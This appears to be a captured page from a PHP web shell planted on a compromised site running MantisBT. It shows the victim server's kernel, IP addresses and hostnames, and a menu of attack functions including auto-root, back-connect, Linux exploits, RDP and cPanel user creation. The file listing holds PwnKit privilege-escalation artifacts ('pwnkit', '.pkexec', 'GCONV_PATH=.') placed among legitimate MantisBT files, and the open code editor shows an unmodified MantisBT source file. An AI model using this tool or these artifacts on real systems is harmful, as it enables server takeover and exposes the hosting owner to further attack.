Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cfdefs
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
.htaccess
59
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
access_api.php
23.38
KB
-rw-r--r--
ajax_api.php
1.78
KB
-rw-r--r--
authentication_api.php
24.22
KB
-rw-r--r--
bug_api.php
59.38
KB
-rw-r--r--
bug_group_action_api.php
11.72
KB
-rw-r--r--
bug_revision_api.php
9.94
KB
-rw-r--r--
bugnote_api.php
22.03
KB
-rw-r--r--
category_api.php
18.27
KB
-rw-r--r--
collapse_api.php
6.54
KB
-rw-r--r--
columns_api.php
41.71
KB
-rw-r--r--
compress_api.php
4.26
KB
-rw-r--r--
config_api.php
20.95
KB
-rw-r--r--
constant_inc.php
15.77
KB
-rw-r--r--
csv_api.php
10.49
KB
-rw-r--r--
current_user_api.php
6.61
KB
-rw-r--r--
custom_field_api.php
44.01
KB
-rw-r--r--
custom_function_api.php
15.43
KB
-rw-r--r--
database_api.php
26.36
KB
-rw-r--r--
date_api.php
8.34
KB
-rw-r--r--
email_api.php
50.19
KB
-rw-r--r--
email_queue_api.php
4.91
KB
-rw-r--r--
error_api.php
12.19
KB
-rw-r--r--
event_api.php
9.3
KB
-rw-r--r--
events_inc.php
4.34
KB
-rw-r--r--
excel_api.php
19.57
KB
-rw-r--r--
file_api.php
32.11
KB
-rw-r--r--
filter_api.php
171.82
KB
-rw-r--r--
form_api.php
6.39
KB
-rw-r--r--
gpc_api.php
14.34
KB
-rw-r--r--
graphviz_api.php
13.6
KB
-rw-r--r--
helper_api.php
16.08
KB
-rw-r--r--
history_api.php
20.75
KB
-rw-r--r--
html_api.php
54.7
KB
-rw-r--r--
html_api_19-09-13.php
54.69
KB
-rw-r--r--
http_api.php
5.71
KB
-rw-r--r--
icon_api.php
2.67
KB
-rw-r--r--
json_api.php
3.37
KB
-rw-r--r--
lang_api.php
8.59
KB
-rw-r--r--
last_visited_api.php
2.82
KB
-rw-r--r--
ldap_api.php
15.59
KB
-rw-r--r--
logging_api.php
3.02
KB
-rw-r--r--
mobile_api.php
3.03
KB
-rw-r--r--
news_api.php
8.87
KB
-rw-r--r--
obsolete.php
5.39
KB
-rw-r--r--
php_api.php
3.17
KB
-rw-r--r--
plugin_api.php
24.38
KB
-rw-r--r--
prepare_api.php
3.32
KB
-rw-r--r--
print_api.php
63.29
KB
-rw-r--r--
profile_api.php
9.35
KB
-rw-r--r--
projax_api.php
3.22
KB
-rw-r--r--
project_api.php
25.56
KB
-rw-r--r--
project_hierarchy_api.php
9.88
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
relationship_api.php
32.31
KB
-rw-r--r--
relationship_graph_api.php
15.13
KB
-rw-r--r--
rss_api.php
4.41
KB
-rw-r--r--
session_api.php
7.69
KB
-rw-r--r--
sponsorship_api.php
12.25
KB
-rw-r--r--
string_api.php
29.12
KB
-rw-r--r--
summary_api.php
39.92
KB
-rw-r--r--
tag_api.php
22.85
KB
-rw-r--r--
tokens_api.php
7.64
KB
-rw-r--r--
twitter_api.php
4.51
KB
-rw-r--r--
url_api.php
2.06
KB
-rw-r--r--
user_api.php
40.99
KB
-rw-r--r--
user_pref_api.php
17.01
KB
-rw-r--r--
utility_api.php
7.63
KB
-rw-r--r--
version_api.php
21.15
KB
-rw-r--r--
wiki_api.php
2.2
KB
-rw-r--r--
xmlhttprequest_api.php
3.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : event_api.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * Event API * Handles the event system. * @version $Id$ * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org * @package CoreAPI * @subpackage EventAPI * @author John Reese * * @uses error_api.php * @uses pluging_api.php */ /** * * @global array $g_event_cache */ $g_event_cache = array(); /** * Declare an event of a given type. * Will do nothing if event already exists. * @param string Event name * @param int Event type * @access public */ function event_declare( $p_name, $p_type = EVENT_TYPE_DEFAULT ) { global $g_event_cache; if( !isset( $g_event_cache[$p_name] ) ) { $g_event_cache[$p_name] = array( 'type' => $p_type, 'callbacks' => array(), ); } } /** * Convenience function for decleare multiple events. * @param array Events * @access public */ function event_declare_many( $p_events ) { foreach( $p_events as $t_name => $t_type ) { event_declare( $t_name, $t_type ); } } /** * Hook a callback function to a given event. * A plugin's basename must be specified for proper handling of plugin callbacks. * @param string Event name * @param string Callback function * @param string Plugin basename * @access public */ function event_hook( $p_name, $p_callback, $p_plugin = 0 ) { global $g_event_cache; if( !isset( $g_event_cache[$p_name] ) ) { error_parameters( $p_name ); trigger_error( ERROR_EVENT_UNDECLARED, WARNING ); return null; } $g_event_cache[$p_name]['callbacks'][$p_plugin][] = $p_callback; } /** * Hook multiple callback functions to multiple events. * @param array Event name/callback pairs * @param string Plugin basename * @access public */ function event_hook_many( $p_hooks, $p_plugin = 0 ) { if( !is_array( $p_hooks ) ) { return; } foreach( $p_hooks as $t_name => $t_callbacks ) { if( !is_array( $t_callbacks ) ) { event_hook( $t_name, $t_callbacks, $p_plugin ); continue; } foreach( $t_callbacks as $t_callback ) { event_hook( $t_name, $t_callback, $p_plugin ); } } } /** * In the case of errors that halt execution, it is useful to * clear the list of event callbacks so that no other callbacks * are executed while the error message is being displayed. */ function event_clear_callbacks() { global $g_event_cache; foreach( $g_event_cache as $t_name => $t_event_info ) { $g_event_cache[$t_name]['callbacks'] = array(); } } /** * Signal an event to execute and handle callbacks as necessary. * @param string Event name * @param multi Event parameters * @param int Event type override * @return multi Null if event undeclared, appropriate return value otherwise * @access public */ function event_signal( $p_name, $p_params = null, $p_params_dynamic = null, $p_type = null ) { global $g_event_cache; if( !isset( $g_event_cache[$p_name] ) ) { error_parameters( $p_name ); trigger_error( ERROR_EVENT_UNDECLARED, WARNING ); return null; } if( is_null( $p_type ) ) { $t_type = $g_event_cache[$p_name]['type']; } else { $t_type = $p_type; } $t_callbacks = $g_event_cache[$p_name]['callbacks']; switch( $t_type ) { case EVENT_TYPE_EXECUTE: return event_type_execute( $p_name, $t_callbacks, $p_params ); case EVENT_TYPE_OUTPUT: return event_type_output( $p_name, $t_callbacks, $p_params ); case EVENT_TYPE_CHAIN: return event_type_chain( $p_name, $t_callbacks, $p_params, $p_params_dynamic ); case EVENT_TYPE_FIRST: return event_type_first( $p_name, $t_callbacks, $p_params ); default: return event_type_default( $p_name, $t_callbacks, $p_params ); } } /** * Executes a plugin's callback function for a given event. * @param string Event name * @param string Callback name * @param string Plugin basename * @param multi Parameters for event callback * @return multi Null if callback not found, value from callback otherwise * @access public */ function event_callback( $p_event, $p_callback, $p_plugin, $p_params = null ) { $t_value = null; if( !is_array( $p_params ) ) { $p_params = array( $p_params, ); } if( $p_plugin !== 0 ) { global $g_plugin_cache; plugin_push_current( $p_plugin ); if( method_exists( $g_plugin_cache[$p_plugin], $p_callback ) ) { $t_value = call_user_func_array( array( $g_plugin_cache[$p_plugin], $p_callback ), array_merge( array( $p_event ), $p_params ) ); } plugin_pop_current(); } else { if( function_exists( $p_callback ) ) { $t_value = call_user_func_array( $p_callback, array_merge( array( $p_event ), $p_params ) ); } } return $t_value; } /** * Process an execute event type. * All callbacks will be called with parameters, and their * return values will be ignored. * @param string Event name * @param array Array of callback function/plugin basename key/value pairs * @param array Callback parameters * @access public */ function event_type_execute( $p_event, $p_callbacks, $p_params ) { foreach( $p_callbacks as $t_plugin => $t_callbacks ) { foreach( $t_callbacks as $t_callback ) { event_callback( $p_event, $t_callback, $t_plugin, $p_params ); } } } /** * Process an output event type. * All callbacks will be called with the given parameters, and their * return values will be echoed to the client, separated by a given string. * If there are no callbacks, then nothing will be sent as output. * @param string Event name * @param array Array of callback function/plugin basename key/value pairs * @param multi Output separator (if single string) or indexed array of pre, mid, and post strings * @access public */ function event_type_output( $p_event, $p_callbacks, $p_params = null ) { $t_prefix = ''; $t_separator = ''; $t_postfix = ''; if( is_array( $p_params ) ) { switch( count( $p_params ) ) { case 3: $t_postfix = $p_params[2]; case 2: $t_separator = $p_params[1]; case 1: $t_prefix = $p_params[0]; } } else { $t_separator = $p_params; } $t_output = array(); foreach( $p_callbacks as $t_plugin => $t_callbacks ) { foreach( $t_callbacks as $t_callback ) { $t_output[] = event_callback( $p_event, $t_callback, $t_plugin, $p_params ); } } if( count( $p_callbacks ) > 0 ) { echo $t_prefix, implode( $t_separator, $t_output ), $t_postfix; } } /** * Process a chained event type. * The first callback with be called with the given input. All following * callbacks will be called with the previous's output as its input. The * final callback's return value will be returned to the event origin. * @param string Event name * @param array Array of callback function/plugin basename key/value pairs * @param string Input string * @return string Output string * @access public */ function event_type_chain( $p_event, $p_callbacks, $p_input, $p_params ) { if( !is_array( $p_params ) ) { $p_params = array( $p_params, ); } $t_output = $p_input; foreach( $p_callbacks as $t_plugin => $t_callbacks ) { foreach( $t_callbacks as $t_callback ) { if( !is_array( $t_output ) ) { $t_output = array( $t_output, ); } $t_params = array_merge( $t_output, $p_params ); $t_output = event_callback( $p_event, $t_callback, $t_plugin, $t_params ); } } return $t_output; } /** * Process a first-return event. * Callbacks will be called with the given parameters until a callback * returns a non-null value; at this point, no other callbacks will be * processed, and the return value be passed back to the event origin. * @param string Event name * @param array Array of callback function/plugin basename key/value pairs * @param multi Parameters passed to callbacks * @return multi The first non-null callback result, or null otherwise * @access public */ function event_type_first( $p_event, $p_callbacks, $p_params ) { $t_output = null; foreach( $p_callbacks as $t_plugin => $t_callbacks ) { foreach( $t_callbacks as $t_callback ) { $t_output = event_callback( $p_event, $t_callback, $t_plugin, $p_params ); if( !is_null( $t_output ) ) { return $t_output; } } } return null; } /** * Process a default event type. * All callbacks will be called with the given data parameters. The * return value of each callback will be appended to an array with the callback's * basename as the key. This array will then be returned to the event origin. * @param string Event name * @param array Array of callback function/plugin basename key/value pairs * @param multi Data * @return array Array of callback/return key/value pairs * @access public */ function event_type_default( $p_event, $p_callbacks, $p_data ) { $t_output = array(); foreach( $p_callbacks as $t_plugin => $t_callbacks ) { foreach( $t_callbacks as $t_callback ) { $t_output[$t_plugin][$t_callback] = event_callback( $p_event, $t_callback, $t_plugin, $p_data ); } } return $t_output; }
Close